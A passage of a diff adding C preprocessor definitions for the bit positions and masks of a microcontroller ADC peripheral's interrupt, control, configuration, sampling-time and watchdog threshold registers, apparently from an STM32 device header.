+#define ADC_IER_EOSIE_Msk (0x1UL << ADC_IER_EOSIE_Pos) /*!< 0x00000008 */ +#define ADC_IER_EOSIE ADC_IER_EOSIE_Msk /*!< ADC group regular end of sequence conversions interrupt */ +#define ADC_IER_OVRIE_Pos (4U) +#define ADC_IER_OVRIE_Msk (0x1UL << ADC_IER_OVRIE_Pos) /*!< 0x00000010 */ +#define ADC_IER_OVRIE ADC_IER_OVRIE_Msk /*!< ADC group regular overrun interrupt */ +#define ADC_IER_JEOCIE_Pos (5U) +#define ADC_IER_JEOCIE_Msk (0x1UL << ADC_IER_JEOCIE_Pos) /*!< 0x00000020 */ +#define ADC_IER_JEOCIE ADC_IER_JEOCIE_Msk /*!< ADC group injected end of unitary conversion interrupt */ +#define ADC_IER_JEOSIE_Pos (6U) +#define ADC_IER_JEOSIE_Msk (0x1UL << ADC_IER_JEOSIE_Pos) /*!< 0x00000040 */ +#define ADC_IER_JEOSIE ADC_IER_JEOSIE_Msk /*!< ADC group injected end of sequence conversions interrupt */ +#define ADC_IER_AWD1IE_Pos (7U) +#define ADC_IER_AWD1IE_Msk (0x1UL << ADC_IER_AWD1IE_Pos) /*!< 0x00000080 */ +#define ADC_IER_AWD1IE ADC_IER_AWD1IE_Msk /*!< ADC analog watchdog 1 interrupt */ +#define ADC_IER_AWD2IE_Pos (8U) +#define ADC_IER_AWD2IE_Msk (0x1UL << ADC_IER_AWD2IE_Pos) /*!< 0x00000100 */ +#define ADC_IER_AWD2IE ADC_IER_AWD2IE_Msk /*!< ADC analog watchdog 2 interrupt */ +#define ADC_IER_AWD3IE_Pos (9U) +#define ADC_IER_AWD3IE_Msk (0x1UL << ADC_IER_AWD3IE_Pos) /*!< 0x00000200 */ +#define ADC_IER_AWD3IE ADC_IER_AWD3IE_Msk /*!< ADC analog watchdog 3 interrupt */ +#define ADC_IER_JQOVFIE_Pos (10U) +#define ADC_IER_JQOVFIE_Msk (0x1UL << ADC_IER_JQOVFIE_Pos) /*!< 0x00000400 */ +#define ADC_IER_JQOVFIE ADC_IER_JQOVFIE_Msk /*!< ADC group injected contexts queue overflow interrupt */ + +/******************** Bit definition for ADC_CR register ********************/ +#define ADC_CR_ADEN_Pos (0U) +#define ADC_CR_ADEN_Msk (0x1UL << ADC_CR_ADEN_Pos) /*!< 0x00000001 */ +#define ADC_CR_ADEN ADC_CR_ADEN_Msk /*!< ADC enable */ +#define ADC_CR_ADDIS_Pos (1U) +#define ADC_CR_ADDIS_Msk (0x1UL << ADC_CR_ADDIS_Pos) /*!< 0x00000002 */ +#define ADC_CR_ADDIS ADC_CR_ADDIS_Msk /*!< ADC disable */ +#define ADC_CR_ADSTART_Pos (2U) +#define ADC_CR_ADSTART_Msk (0x1UL << ADC_CR_ADSTART_Pos) /*!< 0x00000004 */ +#define ADC_CR_ADSTART ADC_CR_ADSTART_Msk /*!< ADC group regular conversion start */ +#define ADC_CR_JADSTART_Pos (3U) +#define ADC_CR_JADSTART_Msk (0x1UL << ADC_CR_JADSTART_Pos) /*!< 0x00000008 */ +#define ADC_CR_JADSTART ADC_CR_JADSTART_Msk /*!< ADC group injected conversion start */ +#define ADC_CR_ADSTP_Pos (4U) +#define ADC_CR_ADSTP_Msk (0x1UL << ADC_CR_ADSTP_Pos) /*!< 0x00000010 */ +#define ADC_CR_ADSTP ADC_CR_ADSTP_Msk /*!< ADC group regular conversion stop */ +#define ADC_CR_JADSTP_Pos (5U) +#define ADC_CR_JADSTP_Msk (0x1UL << ADC_CR_JADSTP_Pos) /*!< 0x00000020 */ +#define ADC_CR_JADSTP ADC_CR_JADSTP_Msk /*!< ADC group injected conversion stop */ +#define ADC_CR_ADVREGEN_Pos (28U) +#define ADC_CR_ADVREGEN_Msk (0x1UL << ADC_CR_ADVREGEN_Pos) /*!< 0x10000000 */ +#define ADC_CR_ADVREGEN ADC_CR_ADVREGEN_Msk /*!< ADC voltage regulator enable */ +#define ADC_CR_DEEPPWD_Pos (29U) +#define ADC_CR_DEEPPWD_Msk (0x1UL << ADC_CR_DEEPPWD_Pos) /*!< 0x20000000 */ +#define ADC_CR_DEEPPWD ADC_CR_DEEPPWD_Msk /*!< ADC deep power down enable */ +#define ADC_CR_ADCALDIF_Pos (30U) +#define ADC_CR_ADCALDIF_Msk (0x1UL << ADC_CR_ADCALDIF_Pos) /*!< 0x40000000 */ +#define ADC_CR_ADCALDIF ADC_CR_ADCALDIF_Msk /*!< ADC differential mode for calibration */ +#define ADC_CR_ADCAL_Pos (31U) +#define ADC_CR_ADCAL_Msk (0x1UL << ADC_CR_ADCAL_Pos) /*!< 0x80000000 */ +#define ADC_CR_ADCAL ADC_CR_ADCAL_Msk /*!< ADC calibration */ + +/******************** Bit definition for ADC_CFGR register ******************/ +#define ADC_CFGR_DMAEN_Pos (0U) +#define ADC_CFGR_DMAEN_Msk (0x1UL << ADC_CFGR_DMAEN_Pos) /*!< 0x00000001 */ +#define ADC_CFGR_DMAEN ADC_CFGR_DMAEN_Msk /*!< ADC DMA transfer enable */ +#define ADC_CFGR_DMACFG_Pos (1U) +#define ADC_CFGR_DMACFG_Msk (0x1UL << ADC_CFGR_DMACFG_Pos) /*!< 0x00000002 */ +#define ADC_CFGR_DMACFG ADC_CFGR_DMACFG_Msk /*!< ADC DMA transfer configuration */ + +#define ADC_CFGR_RES_Pos (3U) +#define ADC_CFGR_RES_Msk (0x3UL << ADC_CFGR_RES_Pos) /*!< 0x00000018 */ +#define ADC_CFGR_RES ADC_CFGR_RES_Msk /*!< ADC data resolution */ +#define ADC_CFGR_RES_0 (0x1UL << ADC_CFGR_RES_Pos) /*!< 0x00000008 */ +#define ADC_CFGR_RES_1 (0x2UL << ADC_CFGR_RES_Pos) /*!< 0x00000010 */ + +#define ADC_CFGR_EXTSEL_Pos (5U) +#define ADC_CFGR_EXTSEL_Msk (0x1FUL << ADC_CFGR_EXTSEL_Pos) /*!< 0x000003E0 */ +#define ADC_CFGR_EXTSEL ADC_CFGR_EXTSEL_Msk /*!< ADC group regular external trigger source */ +#define ADC_CFGR_EXTSEL_0 (0x1UL << ADC_CFGR_EXTSEL_Pos) /*!< 0x00000020 */ +#define ADC_CFGR_EXTSEL_1 (0x2UL << ADC_CFGR_EXTSEL_Pos) /*!< 0x00000040 */ +#define ADC_CFGR_EXTSEL_2 (0x4UL << ADC_CFGR_EXTSEL_Pos) /*!< 0x00000080 */ +#define ADC_CFGR_EXTSEL_3 (0x8UL << ADC_CFGR_EXTSEL_Pos) /*!< 0x00000100 */ +#define ADC_CFGR_EXTSEL_4 (0x10UL << ADC_CFGR_EXTSEL_Pos) /*!< 0x00000200 */ + +#define ADC_CFGR_EXTEN_Pos (10U) +#define ADC_CFGR_EXTEN_Msk (0x3UL << ADC_CFGR_EXTEN_Pos) /*!< 0x00000C00 */ +#define ADC_CFGR_EXTEN ADC_CFGR_EXTEN_Msk /*!< ADC group regular external trigger polarity */ +#define ADC_CFGR_EXTEN_0 (0x1UL << ADC_CFGR_EXTEN_Pos) /*!< 0x00000400 */ +#define ADC_CFGR_EXTEN_1 (0x2UL << ADC_CFGR_EXTEN_Pos) /*!< 0x00000800 */ + +#define ADC_CFGR_OVRMOD_Pos (12U) +#define ADC_CFGR_OVRMOD_Msk (0x1UL << ADC_CFGR_OVRMOD_Pos) /*!< 0x00001000 */ +#define ADC_CFGR_OVRMOD ADC_CFGR_OVRMOD_Msk /*!< ADC group regular overrun configuration */ +#define ADC_CFGR_CONT_Pos (13U) +#define ADC_CFGR_CONT_Msk (0x1UL << ADC_CFGR_CONT_Pos) /*!< 0x00002000 */ +#define ADC_CFGR_CONT ADC_CFGR_CONT_Msk /*!< ADC group regular continuous conversion mode */ +#define ADC_CFGR_AUTDLY_Pos (14U) +#define ADC_CFGR_AUTDLY_Msk (0x1UL << ADC_CFGR_AUTDLY_Pos) /*!< 0x00004000 */ +#define ADC_CFGR_AUTDLY ADC_CFGR_AUTDLY_Msk /*!< ADC low power auto wait */ +#define ADC_CFGR_ALIGN_Pos (15U) +#define ADC_CFGR_ALIGN_Msk (0x1UL << ADC_CFGR_ALIGN_Pos) /*!< 0x00008000 */ +#define ADC_CFGR_ALIGN ADC_CFGR_ALIGN_Msk /*!< ADC data alignment */ +#define ADC_CFGR_DISCEN_Pos (16U) +#define ADC_CFGR_DISCEN_Msk (0x1UL << ADC_CFGR_DISCEN_Pos) /*!< 0x00010000 */ +#define ADC_CFGR_DISCEN ADC_CFGR_DISCEN_Msk /*!< ADC group regular sequencer discontinuous mode */ + +#define ADC_CFGR_DISCNUM_Pos (17U) +#define ADC_CFGR_DISCNUM_Msk (0x7UL << ADC_CFGR_DISCNUM_Pos) /*!< 0x000E0000 */ +#define ADC_CFGR_DISCNUM ADC_CFGR_DISCNUM_Msk /*!< ADC group regular sequencer discontinuous number of ranks */ +#define ADC_CFGR_DISCNUM_0 (0x1UL << ADC_CFGR_DISCNUM_Pos) /*!< 0x00020000 */ +#define ADC_CFGR_DISCNUM_1 (0x2UL << ADC_CFGR_DISCNUM_Pos) /*!< 0x00040000 */ +#define ADC_CFGR_DISCNUM_2 (0x4UL << ADC_CFGR_DISCNUM_Pos) /*!< 0x00080000 */ + +#define ADC_CFGR_JDISCEN_Pos (20U) +#define ADC_CFGR_JDISCEN_Msk (0x1UL << ADC_CFGR_JDISCEN_Pos) /*!< 0x00100000 */ +#define ADC_CFGR_JDISCEN ADC_CFGR_JDISCEN_Msk /*!< ADC group injected sequencer discontinuous mode */ +#define ADC_CFGR_JQM_Pos (21U) +#define ADC_CFGR_JQM_Msk (0x1UL << ADC_CFGR_JQM_Pos) /*!< 0x00200000 */ +#define ADC_CFGR_JQM ADC_CFGR_JQM_Msk /*!< ADC group injected contexts queue mode */ +#define ADC_CFGR_AWD1SGL_Pos (22U) +#define ADC_CFGR_AWD1SGL_Msk (0x1UL << ADC_CFGR_AWD1SGL_Pos) /*!< 0x00400000 */ +#define ADC_CFGR_AWD1SGL ADC_CFGR_AWD1SGL_Msk /*!< ADC analog watchdog 1 monitoring a single channel or all channels */ +#define ADC_CFGR_AWD1EN_Pos (23U) +#define ADC_CFGR_AWD1EN_Msk (0x1UL << ADC_CFGR_AWD1EN_Pos) /*!< 0x00800000 */ +#define ADC_CFGR_AWD1EN ADC_CFGR_AWD1EN_Msk /*!< ADC analog watchdog 1 enable on scope ADC group regular */ +#define ADC_CFGR_JAWD1EN_Pos (24U) +#define ADC_CFGR_JAWD1EN_Msk (0x1UL << ADC_CFGR_JAWD1EN_Pos) /*!< 0x01000000 */ +#define ADC_CFGR_JAWD1EN ADC_CFGR_JAWD1EN_Msk /*!< ADC analog watchdog 1 enable on scope ADC group injected */ +#define ADC_CFGR_JAUTO_Pos (25U) +#define ADC_CFGR_JAUTO_Msk (0x1UL << ADC_CFGR_JAUTO_Pos) /*!< 0x02000000 */ +#define ADC_CFGR_JAUTO ADC_CFGR_JAUTO_Msk /*!< ADC group injected automatic trigger mode */ + +#define ADC_CFGR_AWD1CH_Pos (26U) +#define ADC_CFGR_AWD1CH_Msk (0x1FUL << ADC_CFGR_AWD1CH_Pos) /*!< 0x7C000000 */ +#define ADC_CFGR_AWD1CH ADC_CFGR_AWD1CH_Msk /*!< ADC analog watchdog 1 monitored channel selection */ +#define ADC_CFGR_AWD1CH_0 (0x01UL << ADC_CFGR_AWD1CH_Pos) /*!< 0x04000000 */ +#define ADC_CFGR_AWD1CH_1 (0x02UL << ADC_CFGR_AWD1CH_Pos) /*!< 0x08000000 */ +#define ADC_CFGR_AWD1CH_2 (0x04UL << ADC_CFGR_AWD1CH_Pos) /*!< 0x10000000 */ +#define ADC_CFGR_AWD1CH_3 (0x08UL << ADC_CFGR_AWD1CH_Pos) /*!< 0x20000000 */ +#define ADC_CFGR_AWD1CH_4 (0x10UL << ADC_CFGR_AWD1CH_Pos) /*!< 0x40000000 */ + +#define ADC_CFGR_JQDIS_Pos (31U) +#define ADC_CFGR_JQDIS_Msk (0x1UL << ADC_CFGR_JQDIS_Pos) /*!< 0x80000000 */ +#define ADC_CFGR_JQDIS ADC_CFGR_JQDIS_Msk /*!< ADC group injected contexts queue disable */ + +/******************** Bit definition for ADC_CFGR2 register *****************/ +#define ADC_CFGR2_ROVSE_Pos (0U) +#define ADC_CFGR2_ROVSE_Msk (0x1UL << ADC_CFGR2_ROVSE_Pos) /*!< 0x00000001 */ +#define ADC_CFGR2_ROVSE ADC_CFGR2_ROVSE_Msk /*!< ADC oversampler enable on scope ADC group regular */ +#define ADC_CFGR2_JOVSE_Pos (1U) +#define ADC_CFGR2_JOVSE_Msk (0x1UL << ADC_CFGR2_JOVSE_Pos) /*!< 0x00000002 */ +#define ADC_CFGR2_JOVSE ADC_CFGR2_JOVSE_Msk /*!< ADC oversampler enable on scope ADC group injected */ + +#define ADC_CFGR2_OVSR_Pos (2U) +#define ADC_CFGR2_OVSR_Msk (0x7UL << ADC_CFGR2_OVSR_Pos) /*!< 0x0000001C */ +#define ADC_CFGR2_OVSR ADC_CFGR2_OVSR_Msk /*!< ADC oversampling ratio */ +#define ADC_CFGR2_OVSR_0 (0x1UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00000004 */ +#define ADC_CFGR2_OVSR_1 (0x2UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00000008 */ +#define ADC_CFGR2_OVSR_2 (0x4UL << ADC_CFGR2_OVSR_Pos) /*!< 0x00000010 */ + +#define ADC_CFGR2_OVSS_Pos (5U) +#define ADC_CFGR2_OVSS_Msk (0xFUL << ADC_CFGR2_OVSS_Pos) /*!< 0x000001E0 */ +#define ADC_CFGR2_OVSS ADC_CFGR2_OVSS_Msk /*!< ADC oversampling shift */ +#define ADC_CFGR2_OVSS_0 (0x1UL << ADC_CFGR2_OVSS_Pos) /*!< 0x00000020 */ +#define ADC_CFGR2_OVSS_1 (0x2UL << ADC_CFGR2_OVSS_Pos) /*!< 0x00000040 */ +#define ADC_CFGR2_OVSS_2 (0x4UL << ADC_CFGR2_OVSS_Pos) /*!< 0x00000080 */ +#define ADC_CFGR2_OVSS_3 (0x8UL << ADC_CFGR2_OVSS_Pos) /*!< 0x00000100 */ + +#define ADC_CFGR2_TROVS_Pos (9U) +#define ADC_CFGR2_TROVS_Msk (0x1UL << ADC_CFGR2_TROVS_Pos) /*!< 0x00000200 */ +#define ADC_CFGR2_TROVS ADC_CFGR2_TROVS_Msk /*!< ADC oversampling discontinuous mode (triggered mode) for ADC group regular */ +#define ADC_CFGR2_ROVSM_Pos (10U) +#define ADC_CFGR2_ROVSM_Msk (0x1UL << ADC_CFGR2_ROVSM_Pos) /*!< 0x00000400 */ +#define ADC_CFGR2_ROVSM ADC_CFGR2_ROVSM_Msk /*!< ADC oversampling mode managing interlaced conversions of ADC group regular and group injected */ + +#define ADC_CFGR2_GCOMP_Pos (16U) +#define ADC_CFGR2_GCOMP_Msk (0x1UL << ADC_CFGR2_GCOMP_Pos) /*!< 0x00010000 */ +#define ADC_CFGR2_GCOMP ADC_CFGR2_GCOMP_Msk /*!< ADC Gain Compensation mode */ + +#define ADC_CFGR2_SWTRIG_Pos (25U) +#define ADC_CFGR2_SWTRIG_Msk (0x1UL << ADC_CFGR2_SWTRIG_Pos) /*!< 0x02000000 */ +#define ADC_CFGR2_SWTRIG ADC_CFGR2_SWTRIG_Msk /*!< ADC Software Trigger Bit for Sample time control trigger mode */ +#define ADC_CFGR2_BULB_Pos (26U) +#define ADC_CFGR2_BULB_Msk (0x1UL << ADC_CFGR2_BULB_Pos) /*!< 0x04000000 */ +#define ADC_CFGR2_BULB ADC_CFGR2_BULB_Msk /*!< ADC Bulb sampling mode */ +#define ADC_CFGR2_SMPTRIG_Pos (27U) +#define ADC_CFGR2_SMPTRIG_Msk (0x1UL << ADC_CFGR2_SMPTRIG_Pos) /*!< 0x08000000 */ +#define ADC_CFGR2_SMPTRIG ADC_CFGR2_SMPTRIG_Msk /*!< ADC Sample Time Control Trigger mode */ + +#define ADC_CFGR2_LFTRIG_Pos (29U) +#define ADC_CFGR2_LFTRIG_Msk (0x1UL << ADC_CFGR2_LFTRIG_Pos) /*!< 0x20000000 */ +#define ADC_CFGR2_LFTRIG ADC_CFGR2_LFTRIG_Msk /*!< ADC Low Frequency Trigger */ + +/******************** Bit definition for ADC_SMPR1 register *****************/ +#define ADC_SMPR1_SMP0_Pos (0U) +#define ADC_SMPR1_SMP0_Msk (0x7UL << ADC_SMPR1_SMP0_Pos) /*!< 0x00000007 */ +#define ADC_SMPR1_SMP0 ADC_SMPR1_SMP0_Msk /*!< ADC channel 0 sampling time selection */ +#define ADC_SMPR1_SMP0_0 (0x1UL << ADC_SMPR1_SMP0_Pos) /*!< 0x00000001 */ +#define ADC_SMPR1_SMP0_1 (0x2UL << ADC_SMPR1_SMP0_Pos) /*!< 0x00000002 */ +#define ADC_SMPR1_SMP0_2 (0x4UL << ADC_SMPR1_SMP0_Pos) /*!< 0x00000004 */ + +#define ADC_SMPR1_SMP1_Pos (3U) +#define ADC_SMPR1_SMP1_Msk (0x7UL << ADC_SMPR1_SMP1_Pos) /*!< 0x00000038 */ +#define ADC_SMPR1_SMP1 ADC_SMPR1_SMP1_Msk /*!< ADC channel 1 sampling time selection */ +#define ADC_SMPR1_SMP1_0 (0x1UL << ADC_SMPR1_SMP1_Pos) /*!< 0x00000008 */ +#define ADC_SMPR1_SMP1_1 (0x2UL << ADC_SMPR1_SMP1_Pos) /*!< 0x00000010 */ +#define ADC_SMPR1_SMP1_2 (0x4UL << ADC_SMPR1_SMP1_Pos) /*!< 0x00000020 */ + +#define ADC_SMPR1_SMP2_Pos (6U) +#define ADC_SMPR1_SMP2_Msk (0x7UL << ADC_SMPR1_SMP2_Pos) /*!< 0x000001C0 */ +#define ADC_SMPR1_SMP2 ADC_SMPR1_SMP2_Msk /*!< ADC channel 2 sampling time selection */ +#define ADC_SMPR1_SMP2_0 (0x1UL << ADC_SMPR1_SMP2_Pos) /*!< 0x00000040 */ +#define ADC_SMPR1_SMP2_1 (0x2UL << ADC_SMPR1_SMP2_Pos) /*!< 0x00000080 */ +#define ADC_SMPR1_SMP2_2 (0x4UL << ADC_SMPR1_SMP2_Pos) /*!< 0x00000100 */ + +#define ADC_SMPR1_SMP3_Pos (9U) +#define ADC_SMPR1_SMP3_Msk (0x7UL << ADC_SMPR1_SMP3_Pos) /*!< 0x00000E00 */ +#define ADC_SMPR1_SMP3 ADC_SMPR1_SMP3_Msk /*!< ADC channel 3 sampling time selection */ +#define ADC_SMPR1_SMP3_0 (0x1UL << ADC_SMPR1_SMP3_Pos) /*!< 0x00000200 */ +#define ADC_SMPR1_SMP3_1 (0x2UL << ADC_SMPR1_SMP3_Pos) /*!< 0x00000400 */ +#define ADC_SMPR1_SMP3_2 (0x4UL << ADC_SMPR1_SMP3_Pos) /*!< 0x00000800 */ + +#define ADC_SMPR1_SMP4_Pos (12U) +#define ADC_SMPR1_SMP4_Msk (0x7UL << ADC_SMPR1_SMP4_Pos) /*!< 0x00007000 */ +#define ADC_SMPR1_SMP4 ADC_SMPR1_SMP4_Msk /*!< ADC channel 4 sampling time selection */ +#define ADC_SMPR1_SMP4_0 (0x1UL << ADC_SMPR1_SMP4_Pos) /*!< 0x00001000 */ +#define ADC_SMPR1_SMP4_1 (0x2UL << ADC_SMPR1_SMP4_Pos) /*!< 0x00002000 */ +#define ADC_SMPR1_SMP4_2 (0x4UL << ADC_SMPR1_SMP4_Pos) /*!< 0x00004000 */ + +#define ADC_SMPR1_SMP5_Pos (15U) +#define ADC_SMPR1_SMP5_Msk (0x7UL << ADC_SMPR1_SMP5_Pos) /*!< 0x00038000 */ +#define ADC_SMPR1_SMP5 ADC_SMPR1_SMP5_Msk /*!< ADC channel 5 sampling time selection */ +#define ADC_SMPR1_SMP5_0 (0x1UL << ADC_SMPR1_SMP5_Pos) /*!< 0x00008000 */ +#define ADC_SMPR1_SMP5_1 (0x2UL << ADC_SMPR1_SMP5_Pos) /*!< 0x00010000 */ +#define ADC_SMPR1_SMP5_2 (0x4UL << ADC_SMPR1_SMP5_Pos) /*!< 0x00020000 */ + +#define ADC_SMPR1_SMP6_Pos (18U) +#define ADC_SMPR1_SMP6_Msk (0x7UL << ADC_SMPR1_SMP6_Pos) /*!< 0x001C0000 */ +#define ADC_SMPR1_SMP6 ADC_SMPR1_SMP6_Msk /*!< ADC channel 6 sampling time selection */ +#define ADC_SMPR1_SMP6_0 (0x1UL << ADC_SMPR1_SMP6_Pos) /*!< 0x00040000 */ +#define ADC_SMPR1_SMP6_1 (0x2UL << ADC_SMPR1_SMP6_Pos) /*!< 0x00080000 */ +#define ADC_SMPR1_SMP6_2 (0x4UL << ADC_SMPR1_SMP6_Pos) /*!< 0x00100000 */ + +#define ADC_SMPR1_SMP7_Pos (21U) +#define ADC_SMPR1_SMP7_Msk (0x7UL << ADC_SMPR1_SMP7_Pos) /*!< 0x00E00000 */ +#define ADC_SMPR1_SMP7 ADC_SMPR1_SMP7_Msk /*!< ADC channel 7 sampling time selection */ +#define ADC_SMPR1_SMP7_0 (0x1UL << ADC_SMPR1_SMP7_Pos) /*!< 0x00200000 */ +#define ADC_SMPR1_SMP7_1 (0x2UL << ADC_SMPR1_SMP7_Pos) /*!< 0x00400000 */ +#define ADC_SMPR1_SMP7_2 (0x4UL << ADC_SMPR1_SMP7_Pos) /*!< 0x00800000 */ + +#define ADC_SMPR1_SMP8_Pos (24U) +#define ADC_SMPR1_SMP8_Msk (0x7UL << ADC_SMPR1_SMP8_Pos) /*!< 0x07000000 */ +#define ADC_SMPR1_SMP8 ADC_SMPR1_SMP8_Msk /*!< ADC channel 8 sampling time selection */ +#define ADC_SMPR1_SMP8_0 (0x1UL << ADC_SMPR1_SMP8_Pos) /*!< 0x01000000 */ +#define ADC_SMPR1_SMP8_1 (0x2UL << ADC_SMPR1_SMP8_Pos) /*!< 0x02000000 */ +#define ADC_SMPR1_SMP8_2 (0x4UL << ADC_SMPR1_SMP8_Pos) /*!< 0x04000000 */ + +#define ADC_SMPR1_SMP9_Pos (27U) +#define ADC_SMPR1_SMP9_Msk (0x7UL << ADC_SMPR1_SMP9_Pos) /*!< 0x38000000 */ +#define ADC_SMPR1_SMP9 ADC_SMPR1_SMP9_Msk /*!< ADC channel 9 sampling time selection */ +#define ADC_SMPR1_SMP9_0 (0x1UL << ADC_SMPR1_SMP9_Pos) /*!< 0x08000000 */ +#define ADC_SMPR1_SMP9_1 (0x2UL << ADC_SMPR1_SMP9_Pos) /*!< 0x10000000 */ +#define ADC_SMPR1_SMP9_2 (0x4UL << ADC_SMPR1_SMP9_Pos) /*!< 0x20000000 */ + +#define ADC_SMPR1_SMPPLUS_Pos (31U) +#define ADC_SMPR1_SMPPLUS_Msk (0x1UL << ADC_SMPR1_SMPPLUS_Pos) /*!< 0x80000000 */ +#define ADC_SMPR1_SMPPLUS ADC_SMPR1_SMPPLUS_Msk /*!< ADC channels sampling time additional setting */ + +/******************** Bit definition for ADC_SMPR2 register *****************/ +#define ADC_SMPR2_SMP10_Pos (0U) +#define ADC_SMPR2_SMP10_Msk (0x7UL << ADC_SMPR2_SMP10_Pos) /*!< 0x00000007 */ +#define ADC_SMPR2_SMP10 ADC_SMPR2_SMP10_Msk /*!< ADC channel 10 sampling time selection */ +#define ADC_SMPR2_SMP10_0 (0x1UL << ADC_SMPR2_SMP10_Pos) /*!< 0x00000001 */ +#define ADC_SMPR2_SMP10_1 (0x2UL << ADC_SMPR2_SMP10_Pos) /*!< 0x00000002 */ +#define ADC_SMPR2_SMP10_2 (0x4UL << ADC_SMPR2_SMP10_Pos) /*!< 0x00000004 */ + +#define ADC_SMPR2_SMP11_Pos (3U) +#define ADC_SMPR2_SMP11_Msk (0x7UL << ADC_SMPR2_SMP11_Pos) /*!< 0x00000038 */ +#define ADC_SMPR2_SMP11 ADC_SMPR2_SMP11_Msk /*!< ADC channel 11 sampling time selection */ +#define ADC_SMPR2_SMP11_0 (0x1UL << ADC_SMPR2_SMP11_Pos) /*!< 0x00000008 */ +#define ADC_SMPR2_SMP11_1 (0x2UL << ADC_SMPR2_SMP11_Pos) /*!< 0x00000010 */ +#define ADC_SMPR2_SMP11_2 (0x4UL << ADC_SMPR2_SMP11_Pos) /*!< 0x00000020 */ + +#define ADC_SMPR2_SMP12_Pos (6U) +#define ADC_SMPR2_SMP12_Msk (0x7UL << ADC_SMPR2_SMP12_Pos) /*!< 0x000001C0 */ +#define ADC_SMPR2_SMP12 ADC_SMPR2_SMP12_Msk /*!< ADC channel 12 sampling time selection */ +#define ADC_SMPR2_SMP12_0 (0x1UL << ADC_SMPR2_SMP12_Pos) /*!< 0x00000040 */ +#define ADC_SMPR2_SMP12_1 (0x2UL << ADC_SMPR2_SMP12_Pos) /*!< 0x00000080 */ +#define ADC_SMPR2_SMP12_2 (0x4UL << ADC_SMPR2_SMP12_Pos) /*!< 0x00000100 */ + +#define ADC_SMPR2_SMP13_Pos (9U) +#define ADC_SMPR2_SMP13_Msk (0x7UL << ADC_SMPR2_SMP13_Pos) /*!< 0x00000E00 */ +#define ADC_SMPR2_SMP13 ADC_SMPR2_SMP13_Msk /*!< ADC channel 13 sampling time selection */ +#define ADC_SMPR2_SMP13_0 (0x1UL << ADC_SMPR2_SMP13_Pos) /*!< 0x00000200 */ +#define ADC_SMPR2_SMP13_1 (0x2UL << ADC_SMPR2_SMP13_Pos) /*!< 0x00000400 */ +#define ADC_SMPR2_SMP13_2 (0x4UL << ADC_SMPR2_SMP13_Pos) /*!< 0x00000800 */ + +#define ADC_SMPR2_SMP14_Pos (12U) +#define ADC_SMPR2_SMP14_Msk (0x7UL << ADC_SMPR2_SMP14_Pos) /*!< 0x00007000 */ +#define ADC_SMPR2_SMP14 ADC_SMPR2_SMP14_Msk /*!< ADC channel 14 sampling time selection */ +#define ADC_SMPR2_SMP14_0 (0x1UL << ADC_SMPR2_SMP14_Pos) /*!< 0x00001000 */ +#define ADC_SMPR2_SMP14_1 (0x2UL << ADC_SMPR2_SMP14_Pos) /*!< 0x00002000 */ +#define ADC_SMPR2_SMP14_2 (0x4UL << ADC_SMPR2_SMP14_Pos) /*!< 0x00004000 */ + +#define ADC_SMPR2_SMP15_Pos (15U) +#define ADC_SMPR2_SMP15_Msk (0x7UL << ADC_SMPR2_SMP15_Pos) /*!< 0x00038000 */ +#define ADC_SMPR2_SMP15 ADC_SMPR2_SMP15_Msk /*!< ADC channel 15 sampling time selection */ +#define ADC_SMPR2_SMP15_0 (0x1UL << ADC_SMPR2_SMP15_Pos) /*!< 0x00008000 */ +#define ADC_SMPR2_SMP15_1 (0x2UL << ADC_SMPR2_SMP15_Pos) /*!< 0x00010000 */ +#define ADC_SMPR2_SMP15_2 (0x4UL << ADC_SMPR2_SMP15_Pos) /*!< 0x00020000 */ + +#define ADC_SMPR2_SMP16_Pos (18U) +#define ADC_SMPR2_SMP16_Msk (0x7UL << ADC_SMPR2_SMP16_Pos) /*!< 0x001C0000 */ +#define ADC_SMPR2_SMP16 ADC_SMPR2_SMP16_Msk /*!< ADC channel 16 sampling time selection */ +#define ADC_SMPR2_SMP16_0 (0x1UL << ADC_SMPR2_SMP16_Pos) /*!< 0x00040000 */ +#define ADC_SMPR2_SMP16_1 (0x2UL << ADC_SMPR2_SMP16_Pos) /*!< 0x00080000 */ +#define ADC_SMPR2_SMP16_2 (0x4UL << ADC_SMPR2_SMP16_Pos) /*!< 0x00100000 */ + +#define ADC_SMPR2_SMP17_Pos (21U) +#define ADC_SMPR2_SMP17_Msk (0x7UL << ADC_SMPR2_SMP17_Pos) /*!< 0x00E00000 */ +#define ADC_SMPR2_SMP17 ADC_SMPR2_SMP17_Msk /*!< ADC channel 17 sampling time selection */ +#define ADC_SMPR2_SMP17_0 (0x1UL << ADC_SMPR2_SMP17_Pos) /*!< 0x00200000 */ +#define ADC_SMPR2_SMP17_1 (0x2UL << ADC_SMPR2_SMP17_Pos) /*!< 0x00400000 */ +#define ADC_SMPR2_SMP17_2 (0x4UL << ADC_SMPR2_SMP17_Pos) /*!< 0x00800000 */ + +#define ADC_SMPR2_SMP18_Pos (24U) +#define ADC_SMPR2_SMP18_Msk (0x7UL << ADC_SMPR2_SMP18_Pos) /*!< 0x07000000 */ +#define ADC_SMPR2_SMP18 ADC_SMPR2_SMP18_Msk /*!< ADC channel 18 sampling time selection */ +#define ADC_SMPR2_SMP18_0 (0x1UL << ADC_SMPR2_SMP18_Pos) /*!< 0x01000000 */ +#define ADC_SMPR2_SMP18_1 (0x2UL << ADC_SMPR2_SMP18_Pos) /*!< 0x02000000 */ +#define ADC_SMPR2_SMP18_2 (0x4UL << ADC_SMPR2_SMP18_Pos) /*!< 0x04000000 */ + +/******************** Bit definition for ADC_TR1 register *******************/ +#define ADC_TR1_LT1_Pos (0U) +#define ADC_TR1_LT1_Msk (0xFFFUL << ADC_TR1_LT1_Pos) /*!< 0x00000FFF */ +#define ADC_TR1_LT1 ADC_TR1_LT1_Msk /*!< ADC analog watchdog 1 threshold low */ + +#define ADC_TR1_AWDFILT_Pos (12U) +#define ADC_TR1_AWDFILT_Msk (0x7UL << ADC_TR1_AWDFILT_Pos) /*!< 0x00007000 */ +#define ADC_TR1_AWDFILT ADC_TR1_AWDFILT_Msk /*!< ADC analog watchdog filtering parameter */ +#define ADC_TR1_AWDFILT_0 (0x1UL << ADC_TR1_AWDFILT_Pos) /*!< 0x00001000 */ +#define ADC_TR1_AWDFILT_1 (0x2UL << ADC_TR1_AWDFILT_Pos) /*!< 0x00002000 */ +#define ADC_TR1_AWDFILT_2 (0x4UL << ADC_TR1_AWDFILT_Pos) /*!< 0x00004000 */ + +#define ADC_TR1_HT1_Pos (16U) +#define ADC_TR1_HT1_Msk (0xFFFUL << 